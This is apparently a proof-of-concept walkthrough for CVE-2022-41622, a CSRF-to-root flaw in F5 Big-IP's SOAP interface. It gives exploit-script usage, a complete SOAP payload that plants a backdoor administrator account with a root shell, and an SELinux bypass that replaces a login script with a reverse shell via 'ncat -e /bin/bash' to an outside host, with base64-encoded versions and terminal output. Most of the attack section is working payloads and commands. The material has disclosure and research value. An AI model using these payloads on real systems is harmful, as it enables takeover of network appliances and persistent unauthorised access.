This is a proof of concept for CVE-2022-41622, which is a CSRF in F5 Big-IP that leads to remote code execution. Using this is a bit finnicky, but I'll walk you through my favourite usecases.

The vulnerability

The core vulnerability is a cross-site request forgery in F5 Big-IP's SOAP interface, which is accessed via /iControl/iControlPortal.cgi, which runs as root. But despite being root, we're restricted by an SELinux policy, which makes this difficult to exploit. We'll show some bypasses below, though.

The SOAP interface has no CSRF protection, which means an attacker can leverage an authenticated user's session to perform any SOAP request supported. The full list of WSDL files is included, and we've created payloads for some of the important ones.

Basic usage

The basic usage is:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

The username:password is purely for testing - it takes a valid admin account and sends the SOAP request directly to the server. This isn't an exploit or PoC at all, it's simply using the endpoint as intended.

If you don't provide a username:password, it will print a CSRF payload. To exploit the bug, an authenticated admin will have to visit a site containing that payload. Their browser will be redirected and the action will happen in the background.

Note that the actual payloads aren't pretty or hidden in any way - to exploit this forreal, you'll probably have to put some effort in.

Scenarios

We'll demonstrate these using an actual account, but remember that you can exploit any of these using CSRF!

Add a root user

This is probably the easiest one to exploit. It adds a user account with a password, and you can use that password to log in via ssh. It's also noisy, of course!

(The default password in the payload is Password1)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

Remote shell @ Login

We found a symlink in /etc/profile.d that's not covered by SELinux:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

timeout.sh can be replaced, and the next time a user logs in, any code in it will run. Note that overwriting timeout.sh may cause problems, I have no idea what it's supposed to do (it gets restored at reboot, though).

We will replace timeout.sh with the following - basically, restore the original timeout.sh then pop a shell (you can also find it in the examples/ folder):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh

# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444

Here's the request / response:

$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...